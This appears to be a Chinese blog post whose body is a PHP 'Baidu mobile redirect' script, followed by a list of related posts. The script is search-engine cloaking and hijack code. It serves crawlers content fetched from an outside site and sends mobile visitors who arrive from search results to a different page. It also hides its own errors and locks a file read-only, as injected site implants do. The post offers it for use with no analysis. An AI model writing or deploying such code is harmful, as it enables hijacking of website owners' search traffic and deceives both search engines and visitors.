个人日记>正文
百度移动端跳转代码
2024-10-09 11:08 gbl<?php set_time_limit(0); error_reporting(0); $tr = "stristr"; $er = $_SERVER; function httpGet($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); return $output; } $filename1 = @end(explode('/', $url1)); function set_writeable($file_name) { @chmod($file_name, 0444); } set_writeable($filename1); define('url',$er['REQUEST_URI']); define('ref',$er['HTTP_REFERER']); define('ent',$er['HTTP_USER_AGENT']); define('site',"http://www.0937.biz/"); define('road',"/?" .$er['HTTP_HOST'] . url); define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|Silk|Kindle|Opera Mini|Opera Mobi|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/'); define('regs','@Baidu|Sogou|So.com|360Spider|Yisou|Sm.cn|google.com|bing.com@i'); define('area',$tr(url,"/") or $tr(url,".") or $tr(url,".*") and $tr(url,"?")); if (preg_match(regs, ent)) { if (area) { echo httpGet(site.road); exit; } else { echo httpGet("http://www.0937.biz"); ob_flush(); flush(); } } if (area && preg_match(mobile, ref)){ if (preg_match(regs, ref)) { echo file_get_contents("https://www.jiuquan.cc/1.html"); exit; } } ?>
本文链接:https://www.0937.biz/post-3202.html
猜你喜欢
- 2024-10-09 中国大陆IP段(含港澳)【2024-10-10】APNIC lasted 2024-10-10
- 2024-10-09 install.sh: 行 330: curl: 未找到命令
- 2024-10-09 百度移动端跳转代码
- 2024-10-09 【Rust Desk】手搓一个远程桌面软件,完全取代 向日葵、ToDesk!
- 2024-10-09 centos 7 安装tailscale步骤
- 2024-10-09 中国大学排名前20的大学 并标注公立或私立
- 2024-10-09 美国所有大学排名 并标注公立或私立
- 2024-10-09 Windows 11创建本地账户
- 2024-10-09 开启win10下Ubuntu子系统的SSH服务 并设置为开机启动
- 图文推荐
- 热门标签